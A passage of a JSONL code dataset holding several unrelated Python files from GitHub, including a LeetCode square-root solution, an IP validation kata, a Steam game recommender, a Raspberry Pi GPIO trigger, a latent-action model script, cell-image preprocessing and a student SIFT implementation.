min_i + (max_i - min_i) // 2\n\n sq = mid_i ** 2\n if sq == x:\n return mid_i\n elif mid_i in checked:\n return max_allowed\n elif sq < x:\n if mid_i > max_allowed:\n max_allowed = mid_i\n min_i = mid_i\n checked.add(mid_i)\n continue\n elif sq > x:\n max_i = mid_i\n checked.add(mid_i)\n continue\n else:\n raise RuntimeError\n\n # Cheating\n # def mySqrt(self, x: int) -> int:\n # return int(x ** (1/2))\n\n # Time limit exceeded\n # def mySqrt(self, x: int) -> int:\n # if x < 2:\n # return x\n #\n # for i in range(x + 1):\n # if (i ** 2) <= x:\n # continue\n # return i - 1\n\n # Still too slow\n # def mySqrt(self, x: int) -> int:\n # if x < 2:\n # return x\n #\n # def rec(min_i: int, max_i: int, allowed: Set[int], checked: Set[int]):\n # mid_i = min_i + (max_i - min_i) // 2\n # sq = (mid_i ** 2)\n # print(min_i, max_i, mid_i)\n # if mid_i in checked:\n # return max(allowed)\n # if sq < x:\n # return rec(mid_i, max_i, allowed.union({mid_i}), checked.union({mid_i}))\n # elif sq > x:\n # return rec(min_i, mid_i, allowed, checked.union({mid_i}))\n # else:\n # return mid_i\n #\n # return rec(0, x, set(), set())\n","repo_name":"gnsiva/leetcode","sub_path":"solutions/sqrt_int.py","file_name":"sqrt_int.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9796504263","text":"from pandas import read_csv\nfrom matplotlib import pyplot\nfrom statsmodels.tsa.ar_model import AR\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.linear_model import LinearRegression\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom utils import train_test\n\n\n# PARAMETERS :\nseed = '0' # file used\nnvalues=1 # terms in autoregression\n\nmuf = \"Data/100x50000xSeed\"+seed+\"/mu.npy\"\nsigf = \"Data/100x50000xSeed\"+seed+\"/sigma.npy\"\n\n# Loading the files\nmu = np.load(muf)\nsigma = np.load(sigf)\n\n#Burning\nmu = mu[1000:]\nsigma=sigma.reshape(len(sigma), -1)[1000:]\n\n# Generating datasets (X input and Y output)\nX = np.concatenate( (mu,sigma[:,[0,1,2,4,5,8]]), axis=1)\nX = X[1:] - X[:-1]\nY = X0.copy()\nX = X0.copy()\nfor i in range(nvalues):\n print(i)\n deb = i\n fin = i-nvalues\n if i==0:\n X = Y[deb:fin]\n else:\n X = np.concatenate([X,Y[deb:fin]], axis=1)\n\nfrom sklearn.linear_model import Ridge\nL = Ridge(alpha=0.1,fit_intercept=True)\nXtrain, Ytrain, Xtest, Ytest = train_test(X,Y[nvalues:],0.1)\nplt.imshow(L.coef_)\n\nprint(\"Average mean of data\", np.mean(abs(Xtest)))\nprint(\"Deviations of each term\", np.std(Xtest, axis=0)**2)\nprint(\"Average error train\", mean_squared_error(L.predict(Xtrain),Ytrain))\nprint(\"Average error test\", mean_squared_error(L.predict(Xtest),Ytest))\n","repo_name":"VIsh76/Moment_Pred","sub_path":"Lorentz_Model.py","file_name":"Lorentz_Model.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39029388027","text":"# Code for 'IP Validation' Kata - 6 Kyu\n# https://www.codewars.com/kata/515decfd9dcfc23bb6000006\n\ndef is_valid_IP(strng):\n counter = 0\n result = strng.split(\".\")\n if len(result)==4:\n for number in result:\n if number.isdigit():\n if(number.startswith(\"0\") and len(number)>1) :\n return False\n elif int(number)>=0 and int(number)<=255 :\n counter = counter + 1\n else:\n return False\n if counter==4:\n return True\n else:\n return False\n else:\n return False\n","repo_name":"ThanosAd/CodeWars","sub_path":"IPValidation.py","file_name":"IPValidation.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9639591095","text":"import os, sys\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\n\nfrom external_libraries.Base.Similarity.Compute_Similarity_Python import Compute_Similarity_Python\nimport numpy as np\nimport util\nimport requests\nfrom bs4 import BeautifulSoup\nimport random\n\nclass Recommender(object):\n\n def __init__(self, URM, ICM, ICM_link, itemID_to_index):\n self.URM = URM\n self.ICM = ICM\n self.ICM_link = ICM_link\n self.itemID_to_index = itemID_to_index\n\n def fit(self, topK=50, shrink=100, normalize=True, similarity=\"cosine\"):\n similarity_object = Compute_Similarity_Python(self.ICM.T, shrink=shrink,\n topK=topK, normalize=normalize,\n similarity=similarity)\n self.W_sparse = similarity_object.compute_similarity()\n\n def recommend(self, user_id, exclude_seen=True):\n user_profile = self.URM[user_id]\n scores = user_profile.dot(self.W_sparse).toarray().ravel()\n #print(scores)\n\n if exclude_seen:\n scores = self.filter_seen(user_id, scores)\n ranking = scores.argsort()[::-1]\n #print(ranking)\n\n recommended_items = 0\n recommendations = []\n\n for recommended in ranking:\n\n name = util.get_key(self.itemID_to_index, recommended)\n link = self.ICM_link[self.ICM_link[\"name\"] == name][\"link\"].iloc[0]\n website = requests.get(link).content\n soup = BeautifulSoup(website, 'html.parser')\n\n dlc = False\n tags = soup.findAll(\"div\", {\"class\": \"game_area_details_specs\"})\n for t in tags:\n if \"https://steamstore-a.akamaihd.net/public/images/v6/ico/ico_dlc.png\" in str(t):\n dlc = True\n\n if not dlc:\n print(\"Recommended game: \" + str(name))\n already_known = input(\"Do you already know this game? y or n: \")\n while already_known not in [\"y\", \"n\"]:\n already_known = input(\"Do you already know this game? y or n: \")\n if already_known == \"y\":\n print(\"Suggesting a new one...\")\n print()\n else:\n recommended_items += 1\n recommendations.append(recommended)\n if recommended_items == 4:\n break\n\n return recommendations\n\n def filter_seen(self, user_id, scores):\n start_pos = self.URM.indptr[user_id]\n end_pos = self.URM.indptr[user_id + 1]\n user_profile = self.URM.indices[start_pos:end_pos]\n scores[user_profile] = -np.inf\n return scores","repo_name":"Zatfer17/II2202_Research_Methodology_And_Scientific_Writing","sub_path":"code/cbf.py","file_name":"cbf.py","file_ext":"py","file_size_in_byte":2719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7790229636","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport os\nimport time\n\nimport RPi.GPIO as GPIO\nGPIO.setmode(GPIO.BCM)\n\nGPIO.setup(23, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n\n#time.sleep(2) # sec\n\n\nn=0\nwhile n<3:\n try:\n GPIO.wait_for_edge(23, GPIO.FALLING)\n print (\"Alarm! Coming signal from Mega32!\")\n os.system('python3 /home/pi/sh/python/main.py')\n #n=n+1\n\n except KeyboardInterrupt: \n GPIO.cleanup() ","repo_name":"NikolayDushin/Smart-house","sub_path":"call_to_RPI.py","file_name":"call_to_RPI.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7592675949","text":"import pandas as pd\nimport numpy as np\nimport torch, os\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.optim.lr_scheduler import StepLR\nfrom torch.utils import data\nfrom torch.utils.tensorboard import SummaryWriter\nfrom PIL import Image\nimport csv\nimport numpy as np\nimport torchvision.transforms as transforms\nimport torchvision.models as models\nimport os\nimport pdb\nimport time\nfrom itertools import permutations\nfrom absl import app\nfrom absl import flags\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\nfrom sklearn import metrics\nfrom torch.utils import data\n\nsamples = pd.read_feather('data.feather')\nsamples = samples.to_numpy()\n\nclass ForwardModel(nn.Module):\n def __init__(self, num_actions):\n super(ForwardModel, self).__init__()\n \n activation = nn.ReLU()\n \n embedding_dim = 1\n self.embedding = nn.Embedding(num_embeddings=bottleneck_size, \n embedding_dim=embedding_dim)\n \n readout_dim = 16\n self.action_readout = nn.Sequential(\n nn.Linear(embedding_dim, readout_dim), activation, nn.Dropout(0.5),\n nn.Linear(readout_dim, readout_dim), activation, nn.Dropout(0.5),\n nn.Linear(readout_dim, num_actions))\n \n hidden_size1 = 8\n hidden_size2 = 16\n hidden_size3 = 8\n \n self.encoder = nn.Sequential(\n nn.Linear(4, hidden_size1), \n nn.ReLU(),\n nn.BatchNorm1d(hidden_size1),\n nn.Linear(hidden_size1, hidden_size2), \n nn.ReLU(),\n nn.BatchNorm1d(hidden_size2),\n nn.Linear(hidden_size2, hidden_size3), \n nn.ReLU(),\n nn.BatchNorm1d(hidden_size3)\n )\n \n hidden_size4 = 16\n hidden_size5 = 8\n \n self.decoder = nn.Sequential(\n nn.Linear(hidden_size3 * 2, hidden_size4), \n nn.ReLU(),\n nn.BatchNorm1d(hidden_size4),\n nn.Linear(hidden_size4, hidden_size5), \n nn.ReLU(),\n nn.BatchNorm1d(hidden_size5),\n nn.Linear(hidden_size5, 4), \n )\n \n \n def forward(self, curr_states, actions, next_states):\n\n all_actions = torch.arange(bottleneck_size).cuda()\n encoding = self.embedding(all_actions)\n \n y = encoding\n act1 = encoding\n y = y.detach()\n\n # readout function\n y = y / y.norm(dim=1, keepdim=True)\n act_readout = self.action_readout(y)\n \n # encoder\n phi_k = self.encoder(curr_states.float())\n\n assert act1.shape[1] <= phi_k.shape[1]\n rep = int(phi_k.shape[1] / act1.shape[1])\n act1 = act1.repeat(1, rep)\n act1, phi_k = torch.broadcast_tensors(act1.unsqueeze(0), phi_k.unsqueeze(1))\n \n # concat \n psi = torch.cat((act1, phi_k), 2)\n sz = psi.shape\n psi = psi.view(sz[0]*sz[1], sz[2])\n psi = self.decoder(psi)\n sz2 = psi.shape\n psi = psi.view(sz[0], sz[1], sz2[1])\n return psi, encoding, act_readout\n\n\nnum_actions = 4\nbottleneck_size = 8\ndevice = torch.device(\"cuda\")\nmodel = ForwardModel(num_actions).to(device)\ndir_ = 'repro' \nmodel_ = 400000\nmodel_path = f'lam_runs/{dir_}/model-{model_}.pth'\nmodel.load_state_dict(torch.load(model_path))\n\n\ndef loss_fn(mse_loss, psi, o_t, o_tm1, iteration, train=True):\n loss = mse_loss(psi.float(), o_t.unsqueeze(1).repeat(1, bottleneck_size, 1).float())\n loss = loss.view(loss.shape[0], loss.shape[1], -1)\n loss = loss.mean(2)\n _loss, ind = torch.min(loss, 1)\n return ind\n\n\nbatch_size = 256\ngt, pred = [], []\nmse_loss = nn.MSELoss(reduction='none')\nnum_iters = int(len(samples) / 256)\nfor batch_idx in tqdm(range(num_iters)):\n o_tm1 = torch.tensor(samples[batch_idx * batch_size:(batch_idx+1)*batch_size, 1:5])\n o_t = torch.tensor(samples[batch_idx * batch_size:(batch_idx+1)*batch_size, 5:9])\n a_tm1 = samples[batch_idx * batch_size:(batch_idx+1)*batch_size, -1]\n \n o_tm1, o_t = o_tm1.to(device), o_t.to(device)\n \n # forward pass \n psi, encoding, y = model(o_tm1, a_tm1, o_t)\n assignment = loss_fn(mse_loss, psi, o_t, o_tm1, 0, train=False)\n \n gt = np.concatenate([gt, a_tm1], 0)\n pred = np.concatenate([pred, assignment.squeeze().cpu()], 0)\n\n\n# last sub-batch\no_tm1 = torch.tensor(samples[(batch_idx+1)*batch_size:, 1:5])\no_t = torch.tensor(samples[(batch_idx+1)*batch_size:, 5:9])\na_tm1 = samples[(batch_idx+1)*batch_size:, -1] # unused\n\no_tm1, o_t = o_tm1.to(device), o_t.to(device)\n\n# forward pass \npsi, encoding, y = model(o_tm1, a_tm1, o_t)\nassignment = loss_fn(mse_loss, psi, o_t, o_tm1, 0, train=False)\n\ngt = np.concatenate([gt, a_tm1], 0)\npred = np.concatenate([pred, assignment.squeeze().cpu()], 0)\nassert len(samples) == len(pred)\n\ndata = pd.read_feather('data.feather') \ndata['actions'] = pred.astype(int)\ndata.to_feather('data_latentActs.feather')\n","repo_name":"uiuc-robovision/laq","sub_path":"maze2d/save_actions.py","file_name":"save_actions.py","file_ext":"py","file_size_in_byte":4972,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"34592407702","text":"import numpy as np\r\nimport pandas as pd\r\nimport json\r\nimport time\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.patches as patches\r\nimport cv2\r\nimport scipy.misc\r\nimport os\r\nimport shutil\r\nfrom pandas.io.json import json_normalize\r\nfrom PIL import Image\r\nfrom os import listdir\r\nfrom os.path import splitext\r\n\r\n\r\ndef jpg_to_png(folder_path):\r\n\tfor img in listdir(folder_path):\r\n\t\tfile, filetype = splitext(img)\r\n\t\tif filetype not in [\".py\", \".png\"]:\r\n\t\t\ttemp = Image.open(folder_path + file + filetype)\r\n\t\t\ttemp.save(\"test/\" + file + \".png\")\r\n\r\ndef move_split(start_index, split, input_directory, output_directory):\r\n\tfor img in range(start_index,split):\r\n\t\tcurr_dir = input_directory + listdir(input_directory)[img]\r\n\t\tdest_dir = output_directory + listdir(input_directory)[img]\r\n\t\tshutil.copy(curr_dir, dest_dir)\r\n\r\ndef extract_all_roi(folder_path, formatted_dataset, num_of_images):\r\n\tfor img in range(num_of_images):\r\n\t\textract_roi(folder_path+listdir(folder_path)[img], formatted_dataset)\r\n\r\ndef extract_roi(image_path, formatted_dataset):\r\n\ttemp_set = formatted_dataset.loc[formatted_dataset[\"filepath\"] == image_path]\r\n\tuniques = temp_set.groupby(\"label\").size()\r\n\tlimit = uniques.immunopositive\r\n\tnegative_counter = 0\r\n\tpositive_counter = 0\r\n\tfor index, record in temp_set.iterrows():\r\n\t\twidth = record.x2 - record.x1\r\n\t\theight = record.y2 - record.y1\r\n\t\tif record.label == \"immunopositive\" and positive_counter <= limit:\r\n\t\t\timage = cv2.imread(record.filepath)\r\n\t\t\tcell = image[record.y1:record.y1+height,record.x1:record.x1+width]\r\n\t\t\tscipy.misc.imsave(\"extracted/positive/positive-\"+str(index)+\".png\",cell)\r\n\t\t\tpositive_counter = positive_counter + 1\r\n\t\tif record.label == \"immunonegative\" and negative_counter < limit:\r\n\t\t\timage = cv2.imread(record.filepath)\r\n\t\t\tcell = image[record.y1:record.y1+height,record.x1:record.x1+width]\r\n\t\t\tscipy.misc.imsave(\"extracted/negative/negative-\"+str(index)+\".png\",cell)\r\n\t\t\tnegative_counter = negative_counter + 1\r\n\r\ndef display_roi(image_path, formatted_dataset):\r\n\tframe = plt.figure()\r\n\taxes = frame.add_axes([0,0,1,1])\r\n\timg = plt.imread(image_path)\r\n\ttemp_set = formatted_dataset.loc[formatted_dataset[\"filepath\"] == image_path]\r\n\tfor index, record in temp_set.iterrows():\r\n\t\twidth = record.x2 - record.x1\r\n\t\theight = record.y2 - record.y1\r\n\t\tif record.label == \"immunopositive\":\r\n\t\t\tcolor = \"red\"\r\n\t\t\taxes.annotate(\"P\", xy=(record.x2-40, record.y1+20))\r\n\t\tif record.label == \"immunonegative\":\r\n\t\t\tcolor = \"green\"\r\n\t\t\taxes.annotate(\"N\", xy=(record.x2-40, record.y1+20))\t\r\n\t\tbounding_box = patches.Rectangle((record.x1,record.y1), width, height, edgecolor = color, facecolor = 'none')\r\n\t\taxes.add_patch(bounding_box)\r\n\tplt.imshow(img)\r\n\tplt.show()\r\n\r\n\r\n\r\n\r\ndef data_conversion(data, folder_path, output_path, extension = None):\r\n\tformatted_dataset = pd.DataFrame(columns=[\"filepath\",\"x1\",\"y1\",\"x2\",\"y2\",\"label\"])\r\n\tfor record in range(len(data)):\r\n\t\trow_list = []\r\n\t\tjson_dict = json.loads(data.loc[record, \"Label\"])\r\n\t\tpositive_label_dict = json_dict[\"immunopositive\"]\r\n\t\tnegative_label_dict = json_dict[\"immunonegative\"]\r\n\t\tif (extension != None):\r\n\t\t\tpath = output_path + data.loc[record,\"External ID\"][:-3]+extension\r\n\t\telse:\r\n\t\t\tpath = output_path + data.loc[record,\"External ID\"]\r\n\r\n\t\tfor box in range(len(positive_label_dict)):\r\n\t\t\tbox = positive_label_dict[box][\"geometry\"]\r\n\t\t\tx_list = []\r\n\t\t\ty_list = []\r\n\t\t\tfor point in box:\r\n\t\t\t\tx_list.append(point[\"x\"])\r\n\t\t\t\ty_list.append(point[\"y\"])\r\n\t\t\tx_min = min(x_list)\r\n\t\t\ty_min = min(y_list)\r\n\t\t\tx_max = max(x_list)\r\n\t\t\ty_max = max(y_list)\r\n\t\t\tformatted_dataset = formatted_dataset.append({\"filepath\":path\r\n\t\t\t\t, \"x1\":x_min,\"y1\":y_min,\"x2\":x_max,\"y2\":y_max\r\n\t\t\t\t,\"label\":\"immunopositive\"}\r\n\t\t\t\t, ignore_index=True)\r\n\r\n\t\tfor box in range(len(negative_label_dict)):\r\n\t\t\tbox = negative_label_dict[box][\"geometry\"]\r\n\t\t\tx_list = []\r\n\t\t\ty_list = []\r\n\t\t\tfor point in box:\r\n\t\t\t\tx_list.append(point[\"x\"])\r\n\t\t\t\ty_list.append(point[\"y\"])\r\n\t\t\tx_min = min(x_list)\r\n\t\t\ty_min = min(y_list)\r\n\t\t\tx_max = max(x_list)\r\n\t\t\ty_max = max(y_list)\r\n\t\t\tformatted_dataset = formatted_dataset.append({\"filepath\":path\r\n\t\t\t\t, \"x1\":x_min,\"y1\":y_min,\"x2\":x_max,\"y2\":y_max\r\n\t\t\t\t,\"label\":\"immunonegative\"}\r\n\t\t\t\t, ignore_index=True)\r\n\r\n\treturn formatted_dataset\r\n\r\ndataset = pd.read_csv(\"dataset.csv\")\r\ndataset.pop(\"ID\")\r\ndataset.pop(\"DataRow ID\")\r\ndataset.pop(\"Labeled Data\")\r\ndataset.pop(\"Created By\")\r\ndataset.pop(\"Seconds to Label\")\r\ndataset.pop(\"Agreement\")\r\ndataset.pop(\"Reviews\")\r\ndataset.pop(\"View Label\")\r\ndataset.pop(\"Project Name\")\r\ndataset.pop(\"Created At\")\r\ndataset.pop(\"Dataset Name\")\r\n\r\n#this function should be ran once.\r\n#jpg_to_png(\"original_images/\")\r\nformatted_dataset = data_conversion(dataset, \"original_images/\", \"png_images/\" , extension=\"png\")\r\nprint(formatted_dataset)\r\n#formatted_dataset.to_csv(r'dataset.txt', header=None, index=None, sep=',', mode='w')\r\n\r\n#Getting extracts from 3 images (UNCOMMENT WHEN NEEDED TO EXTRACT AGAIN)\r\n#extract_roi(\"png_images/10.5.png\",formatted_dataset)\r\n#extract_roi(\"png_images/10.4.png\",formatted_dataset)\r\n#extract_roi(\"png_images/10.3.png\",formatted_dataset)\r\n\r\n#extract_all_roi(\"png_images/\", formatted_dataset, 21)\r\n\r\n#ALL THE NEGATIVE CLASS MIGRATION\r\n#moving 30% test split from extracted folder to test\r\n#move_split(0,296, \"extracted/negative/\", \"positive-negative/test/negative/\")\r\n#moving 60% train split from extracted folder to train\r\n#move_split(296,888, \"extracted/negative/\", \"positive-negative/train/negative/\")\r\n#moving 10% validation split from extracted folder to validation\r\n#move_split(888,986, \"extracted/negative/\", \"positive-negative/validation/negative/\")\r\n#ALL THE POSITIVE CLASS MIGRATION\r\n#moving 30% test split from extracted folder to test\r\n#move_split(0,296, \"extracted/positive/\", \"positive-negative/test/positive/\")\r\n#moving 60% train split from extracted folder to train\r\n#move_split(296,888, \"extracted/positive/\", \"positive-negative/train/positive/\")\r\n#moving 10% validation split from extracted folder to validation\r\n#move_split(888,986, \"extracted/positive/\", \"positive-negative/validation/positive/\")\r\n#visualise an image\r\n#display_roi(\"png_images/10.3.png\",formatted_dataset)","repo_name":"antanasskiudulas/VGG16-CNN-GBM-classifier","sub_path":"SKI16606953 - Project (stripped)/data_preprocessing.py","file_name":"data_preprocessing.py","file_ext":"py","file_size_in_byte":6154,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"44522583045","text":"# John Bodoh Computer Vision Assignment 4\n# Implement SIFT feature extraction algorithm\n\nimport numpy as np\nimport cv2 as cv\n\n\"\"\"\nReturns scale space for a given image as a tuple of tuples, where each tuple within the main tuple contains the images of a single octave.\nEach octave consists of multiple \"scales\" of the given image, where each scale is a Gaussian blur of the image which uses a sigma value k times the sigma value used for the previous scale.\nFor each successive octave, the image that is used is the image used in the previous octave, resized to half of its previous size.\n\"\"\"\n# first starting sigma can be 1.6 or half of 2^(1/2)\n# starting sigma for each new octave should be middle sigma value used for previous octave\ndef create_scale_space(img: np.ndarray, num_octaves: int = 4, num_scales: int = 5, sigma: float = 1.6, k: float = 1.414214) -> tuple[tuple[np.ndarray, ...], ...]:\n middle_scale = num_scales//2 # We use integer division as the floor of the true quotient will be the value of the looping variable when the middle scale is encountered\n octave_list = [[] for _ in range(num_octaves)]\n img_scaled = img.copy()\n current_sigma = sigma\n for octave_index in range(num_octaves):\n for scale_index in range(num_scales):\n octave_list[octave_index].append(cv.GaussianBlur(img_scaled,(0,0),current_sigma))\n if(scale_index == middle_scale):\n next_sigma = current_sigma\n current_sigma = k*current_sigma\n current_sigma = next_sigma\n img_scaled = cv.resize(img_scaled, (int(img_scaled.shape[0]/1.414), int(img_scaled.shape[1]/1.414)))\n return(space_list_to_tuple(octave_list))\n\n\n\"\"\"\nThis function takes a scale space tuple and returns a LoG (Laplacian of Gaussian) space represented as a tuple of tuples, where each tuple within the main tuple consists of the LoG images of its respective octave.\nLoG is calculated using Difference of Gaussians, where, for each image in each octave, a LoG image is produced by subtracting the image below from it.\n\"\"\"\ndef create_log_space(scale_space: tuple[tuple[np.ndarray, ...], ...]) -> tuple[tuple[np.ndarray, ...], ...]:\n octave_list = [[] for _ in range(len(scale_space))]\n for octave_index in range(len(scale_space)):\n for scale_index in range(len(scale_space[octave_index]) - 1): # One less DoG image per octave than scaled image\n octave_list[octave_index].append(np.subtract(scale_space[octave_index][scale_index+1], scale_space[octave_index][scale_index]))\n return(space_list_to_tuple(octave_list))\n\n\n\"\"\"\nThis function takes a log space tuple and checks, for every pixel excluding the ones in the top and bottom scales, whether it has the largest or smallest pixel value among its 26 neighbors.\nAll pixels that are larger or smaller than their neighbors by more than the given threshold are recorded in the dictionary returned by the function.\nThe dictionary has key values consisting of tuples containing the x and y coordinates of the point, its scale number, and its octave number respectively, and it has values corresponding to the difference in values the pixel has to its closest neighbor.\nPositive values indicate that the given point is a maximum among its neighbors, while negative values indicate that the given point is a minimum among its neighbors.\n\"\"\"\ndef create_min_max_dict(log_space: tuple[tuple[np.ndarray, ...], ...], threshold: int = 0) -> dict[tuple[int, int, int, int], int]:\n min_max_dict = {}\n # 3D sliding window\n for octave_index in range(len(log_space)):\n for scale_index in range(1, len(log_space[octave_index]) - 1): # Exclude top and bottom DoG images\n for global_x in range(1, log_space[octave_index][scale_index].shape[0] - 1): # Do not iterate through border pixels\n for global_y in range(1, log_space[octave_index][scale_index].shape[1] - 1): # Do not iterate through border pixels\n current_pixel_value = log_space[octave_index][scale_index].item((global_x, global_y))\n # check neighbors within 3D sliding window\n larger_value_found = False\n largest_neighbor_value = 0\n smaller_equal_value_found = False\n smallest_neighbor_value = 255\n not_min_max = False\n for window_x_offset in range(-1, 2):\n for window_y_offset in range(-1, 2):\n for window_scale_offset in range(-1, 2):\n window_pixel_value = log_space[octave_index][scale_index + window_scale_offset].item((global_x + window_x_offset, global_y + window_y_offset))\n if(window_pixel_value > current_pixel_value):\n larger_value_found = True\n elif(window_pixel_value <= current_pixel_value):\n smaller_equal_value_found = True\n if(larger_value_found and smaller_equal_value_found):\n not_min_max = True\n break\n if(not window_x_offset and not window_y_offset and not window_scale_offset): # Do not include current pixel when calculating largest values of neighbors\n break\n if(window_pixel_value > largest_neighbor_value):\n largest_neighbor_value = window_pixel_value\n if(window_pixel_value < smallest_neighbor_value):\n smallest_neighbor_value = window_pixel_value\n if(not_min_max):\n break\n if(not_min_max):\n break\n if(not_min_max):\n break\n elif((not larger_value_found) and (current_pixel_value - largest_neighbor_value > threshold)):\n min_max_dict.update({(global_x, global_y, scale_index, octave_index): current_pixel_value - largest_neighbor_value})\n elif((not smaller_equal_value_found) and (smallest_neighbor_value - current_pixel_value > threshold)):\n min_max_dict.update({(global_x, global_y, scale_index, octave_index): current_pixel_value - smallest_neighbor_value})\n return min_max_dict\n\n\n\"\"\"\nThis function takes a min_max_dict as well as a scale space tuple, along with values of sigma and k, and outputs a tuple of all keypoint objects, performing orientation assignment.\n\"\"\"\ndef create_keypoints(min_max_dict: dict[tuple[int, int, int, int], int], scale_space: tuple[tuple[np.ndarray, ...], ...], sigma: float = 1.6, k: float = 1.414214) -> tuple[cv.KeyPoint, ...]:\n keypoint_coord_list = list(min_max_dict)\n num_octaves = len(scale_space)\n octave_starting_index_list = []\n octave_starting_index_list.append(sigma)\n keypoint_object_list = []\n for octave_index in range(1, num_octaves):\n octave_starting_index_list.append((num_octaves//2)*k*octave_starting_index_list[octave_index - 1])\n for point in range(len(keypoint_coord_list)):\n point_x_coord = keypoint_coord_list[point][0]\n point_y_coord = keypoint_coord_list[point][1]\n point_scale = keypoint_coord_list[point][2]\n point_octave = keypoint_coord_list[point][3]\n scale_sigma = (point_scale + 1)*octave_starting_index_list[point]\n window_sigma = 1.5*scale_sigma\n window_side_length = int(6.66*window_sigma - 2.22) # The cv2.getGaussianKernel() function, for a given side length value ksize, calculates a sigma value using the equation 0.3*((ksize-1)*0.5 - 1) + 0.8. Solving for ksize, we can calculate a side length of a Gaussian kernel from a given sigma using 6.66*sigma - 2.22\n if(window_side_length % 2 == 0): # window_size_length must be odd\n window_side_length = window_side_length + 1\n window_radius = window_side_length//2\n if(window_radius + 1 > point_x_coord or window_radius + 1 > point_y_coord or window_radius + 1 > len(scale_space[point_octave][point_scale]) - point_x_coord or window_radius + 1 > len(scale_space[point_octave][point_scale]) - point_y_coord): # Do not make keypoint if given point is too close to edge to be centered in an appropriately-sized window\n break\n angle_bin_dict = {k: 0.0 for k in range(36)}\n for window_x_offset in range(-window_radius, window_radius + 1):\n for window_y_offset in range(-window_radius, window_radius + 1):\n x_derivative = scale_space[point_octave][point_scale].item((point_x_coord + window_x_offset + 1, point_y_coord + window_y_offset)) - scale_space[point_octave][point_scale].item((point_x_coord + window_x_offset - 1, point_y_coord + window_y_offset))\n y_derivative = scale_space[point_octave][point_scale].item((point_x_coord + window_x_offset, point_y_coord + window_y_offset + 1)) - scale_space[point_octave][point_scale].item((point_x_coord + window_x_offset, point_y_coord + window_y_offset - 1))\n magnitude = ((x_derivative**2 + y_derivative**2)**0.5)*magnitude_gaussian_weight(window_x_offset, window_y_offset, window_sigma)\n direction = int(np.arctan(float(y_derivative/x_derivative)))\n angle_bin_dict[direction//10] = angle_bin_dict[direction//10] + magnitude\n primary_vector_magnitude = 0\n secondary_vector_direction_list = []\n secondary_vector_magnitude_list = []\n for bin_index in range(36):\n if(angle_bin_dict[bin_index] > primary_vector_magnitude):\n primary_vector_bin = bin_index\n primary_vector_direction = primary_vector_bin + 5\n primary_vector_magnitude = angle_bin_dict[primary_vector_bin]\n for bin_index in range(36):\n if(angle_bin_dict[bin_index] >= primary_vector_magnitude*0.8):\n secondary_vector_direction_list.append(bin_index + 5)\n secondary_vector_magnitude_list.append(angle_bin_dict[bin_index])\n keypoint_object_list.append(cv.KeyPoint(point_x_coord, point_y_coord, window_side_length, primary_vector_direction, 0, point_octave))\n for vector_index in range(len(secondary_vector_direction_list)):\n keypoint_object_list.append(cv.KeyPoint(point_x_coord, point_y_coord, window_side_length, secondary_vector_direction_list[vector_index], 0, point_octave))\n return tuple(keypoint_object_list)\n\ndef magnitude_gaussian_weight(x: int, y: int, sigma: float) -> float:\n return(float(1/(2*3.141593))*np.exp(float(-0.5*(x*x + y*y)))/sigma**2)\n\n# Converts a list of lists of images, representing an image space, to a tuple of tuples of images\ndef space_list_to_tuple(space_list: list[list[np.ndarray]]) -> tuple[tuple[np.ndarray, ...], ...]:\n return(tuple(tuple(octave) for octave in space_list))\n\n# Loads image as grayscale\ndef load_image(imgpath: str) -> np.ndarray:\n return(cv.imread(imgpath, cv.IMREAD_GRAYSCALE))\n\n# Display all images in given space\ndef display_space_images(space: tuple[tuple[np.ndarray, ...], ...]):\n for i in range(len(space)):\n for j in range(len(space[i])):\n cv.imshow('%d, %d'.format(i, j), space[i][j])\n cv.waitKey(-1)\n\ndef create_scale_space_test(imgpath: np.ndarray):\n img = load_image(imgpath)\n scale_space = create_scale_space(img)\n display_space_images(scale_space)\n\ndef create_log_space_test(imgpath: np.ndarray):\n img = load_image(imgpath)\n scale_space = create_scale_space(img)\n log_space = create_log_space(scale_space)\n display_space_images(log_space)\n\ndef create_min_max_dict_test(imgpath: np.ndarray):\n img = load_image(imgpath)\n scale_space = create_scale_space(img)\n log_space = create_log_space(scale_space)\n min_max_dict = create_min_max_dict(log_space)\n print(min_max_dict)\n\n# Check and compare output of built-in SIFT function\ndef sift_test(imgpath: np.ndarray):\n imggray = load_image(imgpath)\n img = cv.imread(imgpath, cv.IMREAD_COLOR)\n sift = cv.SIFT_create()\n kp = sift.detect(imggray, None)\n cv.imshow('SIFT Test', cv.drawKeypoints(imggray, kp, img))\n cv.waitKey(-1)\n\ndef main():\n imggray = load_image('blocks_L-150x150.png')\n img = cv.imread('blocks_L-150x150.png', cv.IMREAD_COLOR)\n scale_space = create_scale_space(imggray)\n log_space = create_log_space(scale_space)\n min_max_dict = create_min_max_dict(log_space)\n kp = create_keypoints(min_max_dict, scale_space)\n cv.imshow('SIFT Keypoints', cv.drawKeypoints(imggray, kp, img))\n cv.waitKey(-1)\n\nif __name__ == '__main__':\n main()","repo_name":"jbodoh7613/sift-compvision-project","sub_path":"John Bodoh Computer Vision Assignment 4.py","file_name":"John Bodoh Computer Vision Assignment 4.py","file_ext":"py","file_size_in_byte":12770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40967032507","text":"'''\nCrie um programa que leia um número 